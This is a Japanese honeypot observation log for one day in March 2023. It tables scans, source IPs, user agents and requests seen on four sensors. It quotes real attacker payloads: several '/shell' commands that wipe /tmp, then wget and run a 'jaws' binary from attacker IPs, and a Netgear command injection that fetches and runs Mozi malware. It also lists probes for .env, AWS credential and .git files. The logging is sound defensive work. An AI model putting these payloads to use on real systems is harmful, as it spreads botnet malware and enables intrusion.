2023/03/29 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/03/29分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

aiohttpによるスキャン行為
fasthttpによるスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, Worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  103.57.130.161/jaws;
sh /tmp/jaws

Location:US

Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
webprosbotによるスキャン行為
/.gitへのスキャン行為
Gh0stRATのような動き

を確認しました。

Location:UK

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
phpMyAdminへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

Location:SG

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 137.175.17.190/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 45.81.243.34/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：199 (前日比：76)
US：総アクセス数：135 (前日比：-85)
UK：総アクセス数：97 (前日比：-59)
SG：総アクセス数：112 (前日比：29)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	8.222.139.160	Singapore
1	13.56.77.123	United States
33	13.229.60.6	United States
1	27.40.76.140	China
2	34.65.127.120	United States
20	35.89.0.80	United States
14	35.89.187.241	United States
18	43.154.141.71	Singapore
11	44.212.92.219	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
2	45.79.181.104	United States
1	45.79.181.251	United States
1	47.254.255.160	United States
1	51.77.247.119	France
5	64.226.108.190	United States
1	80.76.51.246	Bulgaria
1	92.118.39.82	Romania
1	103.186.148.120	private ip address
5	109.206.243.235	Bulgaria
18	135.125.246.189	France
1	143.198.20.101	United States
1	154.144.241.173	Morocco
2	157.230.113.5	United States
6	159.65.150.34	United States
7	159.89.21.99	United States
1	159.203.208.14	United States
7	161.35.18.10	United States
1	162.142.125.215	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
2	172.105.128.13	United States
1	185.180.143.79	Portugal
1	185.209.160.120	Estonia
4	185.254.196.173	Ukraine
1	186.29.68.123	Colombia
2	188.161.82.180	Palestine
1	188.165.87.103	France
1	188.165.87.108	France
1	190.211.252.122	Panama
10	193.32.162.159	Romania
1	198.235.24.129	United States
1	205.210.31.48	United States
1	211.32.30.83	South Korea
2	216.218.206.69	United States

UserAgent一覧

件数	UserAgent
39	`-`
1	`Hello World`
1	`Hello, World`
1	`Mozilla/5.0 (Linux; Android 5.0.1; SCH-R970 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84 Mobile Safari/537.36`
5	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
32	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
12	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; rv:110.0) Gecko/20100101 Firefox/110.0`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9`
54	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
4	`Mozilla/5.0`
1	`Python/3.7 aiohttp/3.7.4.post0`
1	`curl/7.64.0`
2	`fasthttp`
1	`python-requests/2.28.2`

リクエスト内容一覧

件数	Method	Request	Protocol
5		`\x16\x03\x01\x02`
29		`\x16\x03\x01`
1	CONNECT	`pro.ip-api[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
1	GET	`/.env.backup`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
29	GET	`/.env`	HTTP/1.1
4	GET	`/.git/config`	HTTP/1.1
1	GET	`/.json`	HTTP/1.1
1	GET	`/99vt`	HTTP/1.1
1	GET	`/99vu`	HTTP/1.1
1	GET	`/?phpinfo=1`	HTTP/1.1
1	GET	`/_phpinfo.php`	HTTP/1.1
4	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/aaaaaaaaaaaaaaaaaaaaaaaaaqr`	HTTP/1.1
1	GET	`/admin-app/.env`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/awsConfig.js`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
4	GET	`/client/get_targets`	HTTP/1.1
2	GET	`/config.json`	HTTP/1.1
1	GET	`/config/env.js`	HTTP/1.1
1	GET	`/config/secrets.yml`	HTTP/1.1
1	GET	`/configuration.yml`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
2	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
2	GET	`/env.old`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/gate.php`	HTTP/1.1
4	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/index.js`	HTTP/1.1
1	GET	`/index.php`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/php-info.php`	HTTP/1.1
1	GET	`/php-info`	HTTP/1.1
1	GET	`/php.ini`	HTTP/1.1
1	GET	`/php_info.php`	HTTP/1.1
2	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid/.env`	HTTP/1.1
1	GET	`/settings.yml`	HTTP/1.1
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 103.57.130.161/jaws;sh+/tmp/jaws`
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/temp.php`	HTTP/1.1
4	GET	`/upl.php`	HTTP/1.1
1	GET	`/v1/agent/self`	HTTP/1.1\n
18	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/.env.old`	HTTP/1.1
1	POST	`/.env.prod`	HTTP/1.1
1	POST	`/.env.production`	HTTP/1.1
2	POST	`/.env`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
1	POST	`/admin-app/.env`	HTTP/1.1
1	POST	`/app/.env`	HTTP/1.1
1	POST	`/apps/.env`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/cp/.env`	HTTP/1.1
1	POST	`/development/.env`	HTTP/1.1
2	POST	`/env.old`	HTTP/1.1
1	POST	`/laravel/.env`	HTTP/1.1
1	POST	`/private/.env`	HTTP/1.1
1	POST	`/rest/.env`	HTTP/1.1
1	POST	`/shared/.env`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	18.229.231.237	United States
2	34.70.199.124	United States
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
4	45.79.181.179	United States
1	45.79.181.251	United States
1	45.88.67.190	Bulgaria
1	45.128.232.149	Bulgaria
1	51.77.247.119	France
4	51.79.29.48	Canada
19	54.37.79.75	France
1	63.35.179.28	United States
1	64.62.197.47	United States
1	64.62.197.55	United States
5	64.226.108.190	United States
1	66.240.205.34	United States
2	92.118.39.82	Romania
9	95.214.235.216	Ukraine
1	104.131.128.22	United States
4	107.150.121.179	United States
1	107.170.238.4	United States
2	109.122.221.156	Georgia
5	109.206.243.235	Bulgaria
1	138.197.116.20	United States
1	143.198.24.179	United States
1	147.182.140.185	United States
4	152.89.196.54	Russia
2	162.142.125.226	United States
7	167.99.40.248	United States
2	172.104.11.34	United States
1	172.105.128.12	United States
3	172.187.176.37	France
4	185.163.109.66	Romania
1	185.180.143.8	Portugal
1	185.209.160.120	Estonia
3	185.225.74.42	Bulgaria
9	185.254.196.223	Ukraine
2	188.161.82.180	Palestine
2	192.155.90.220	United States
4	192.210.201.50	United States
13	193.32.162.159	Romania
1	193.42.33.34	Bulgaria
1	198.235.24.156	United States
1	205.210.31.20	United States
1	205.210.31.154	United States

UserAgent一覧

件数	UserAgent
31	`-`
6	`Go-http-client/1.1`
2	`Hello World`
5	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
4	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
13	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
44	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:73.0) Gecko/20100101 Firefox/73.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0`
6	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
2	`Mozilla/5.0`
1	`curl/7.64.0`
1	`webprosbot/2.0 (+mailto:abuse-6337@webpros.com)`
1	`xxx`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`\x16\x03\x01\x01\t\x01`
23		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
47	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
2	GET	`//.env`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
2	GET	`/_profiler/phpinfo`	HTTP/1.1
2	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
2	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
2	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
13	GET	`/dispatch.asp`	HTTP/1.1
7	GET	`/favicon.ico`	HTTP/1.1
2	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
2	GET	`/sitemap.xml`	HTTP/1.1
2	GET	`/upl.php`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/.env.example`	HTTP/1.1
1	POST	`/api/v0/id`	HTTP/1.1
6	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
2	1.14.240.43	China
1	5.181.86.250	Ukraine
1	20.168.255.151	United States
2	34.87.235.141	United States
1	45.79.128.205	United States
1	45.79.172.21	United States
1	45.79.181.94	United States
2	45.79.181.179	United States
1	45.79.181.223	United States
1	45.81.243.34	Bulgaria
2	45.128.232.149	Bulgaria
1	51.77.247.119	France
1	51.158.37.186	France
21	54.37.79.75	France
1	61.178.32.114	China
1	64.62.197.53	United States
1	64.62.197.61	United States
1	64.188.21.144	United States
1	66.240.205.34	United States
1	92.118.39.82	Romania
8	95.214.235.216	Ukraine
2	109.237.98.226	Russia
1	117.200.93.105	India
1	119.60.105.205	China
1	138.128.247.175	United States
3	152.89.196.54	Russia
1	159.203.240.9	United States
2	162.142.125.121	United States
1	165.227.39.157	United States
2	167.248.133.33	United States
1	172.104.11.34	United States
2	172.104.11.51	United States
1	172.105.128.12	United States
1	185.170.144.3	Estonia
1	185.209.160.120	Estonia
1	185.225.74.42	Bulgaria
8	185.254.196.223	Ukraine
2	192.155.90.220	United States
11	193.32.162.159	Romania
1	193.42.33.34	Bulgaria
1	198.235.24.11	United States
1	205.210.31.29	United States

UserAgent一覧

件数	UserAgent
24	`-`
1	`Go-http-client/1.1`
1	`Hello World`
1	`Hello, world`
1	`Mozila/5.0`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
11	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
39	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
5	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`
1	`curl/7.64.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`Gh0st\xad`
1		`SSH-2.0-libssh2_1.10.0`
1		`\x03`
1		`\x16\x03\x01\x01H\x01`
15		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
40	GET	`/.env`	HTTP/1.1
2	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/ReportServer`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/cgi-bin/downloadFlile.cgi`	HTTP/1.1
11	GET	`/dispatch.asp`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//132[.]145[.]66[.]34:80/phpmyadmin/scripts/setup.php`	HTTP/1.0
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
5	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
11	3.238.250.29	United States
1	20.55.53.144	United States
2	34.145.30.35	United States
7	35.216.169.119	United States
1	45.33.80.243	United States
1	45.56.108.128	United States
1	45.79.172.21	United States
1	45.79.181.179	United States
2	45.79.181.223	United States
1	45.79.181.251	United States
1	45.79.189.190	United States
1	45.81.243.34	Bulgaria
1	45.128.232.149	Bulgaria
6	47.253.62.174	United States
1	51.77.247.119	France
20	54.37.79.75	France
1	59.95.104.149	India
1	60.2.120.26	China
1	60.221.238.187	China
1	64.62.197.96	United States
1	64.62.197.105	United States
1	66.240.192.82	United States
1	107.170.231.5	United States
1	120.85.185.161	China
1	138.68.93.52	United States
7	140.238.69.139	United States
1	141.98.6.119	Bulgaria
2	152.89.196.54	Russia
2	162.142.125.14	United States
2	162.142.125.217	United States
1	165.232.112.101	United States
5	165.232.119.189	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
3	172.105.128.13	United States
1	185.180.143.138	Portugal
1	185.209.160.120	Estonia
2	188.161.82.180	Palestine
1	190.211.252.122	Panama
1	192.155.90.118	United States
10	193.32.162.159	Romania
1	193.42.33.34	Bulgaria
1	198.199.117.72	United States
1	198.235.24.19	United States
1	198.235.24.56	United States

UserAgent一覧

件数	UserAgent
39	`-`
2	`Go-http-client/1.1`
3	`Hello, world`
1	`Mozila/5.0`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 abuse.xmco.fr`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36`
10	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
21	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
5	`Mozilla/5.0`
1	`curl/7.64.0`
1	`curl/7.75.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`\x16\x03\x01\x02`
25		`\x16\x03\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
1	CONNECT	`pro.ip-api[.]com:443`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/1679957218`	HTTP/1.1
1	GET	`/99vt`	HTTP/1.1
1	GET	`/99vu`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/CNtx9FulJVsjQ0bhMgRn4ykKGHQ`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/aaaaaaaaaaaaaaaaaaaaaaaaaqr`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/agc/timeclock.php`	HTTP/1.1
1	GET	`/agent/timeclock.php`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
10	GET	`/dispatch.asp`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/gate.php`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
2	GET	`/info.php`	HTTP/1.1
1	GET	`/manager/html`	HTTP/1.1
1	GET	`/manager/text/list`	HTTP/1.1
1	GET	`/php.php`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/server-status`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+137[.]175[.]17[.]190/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+45[.]81[.]243[.]34/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+94[.]158[.]247[.]123/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/telescope/requests`	HTTP/1.1
1	GET	`/test.php`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`/v1/agent/self`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.0
1	POST	`/HNAP1/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
2	PRI	`*`	HTTP/2.0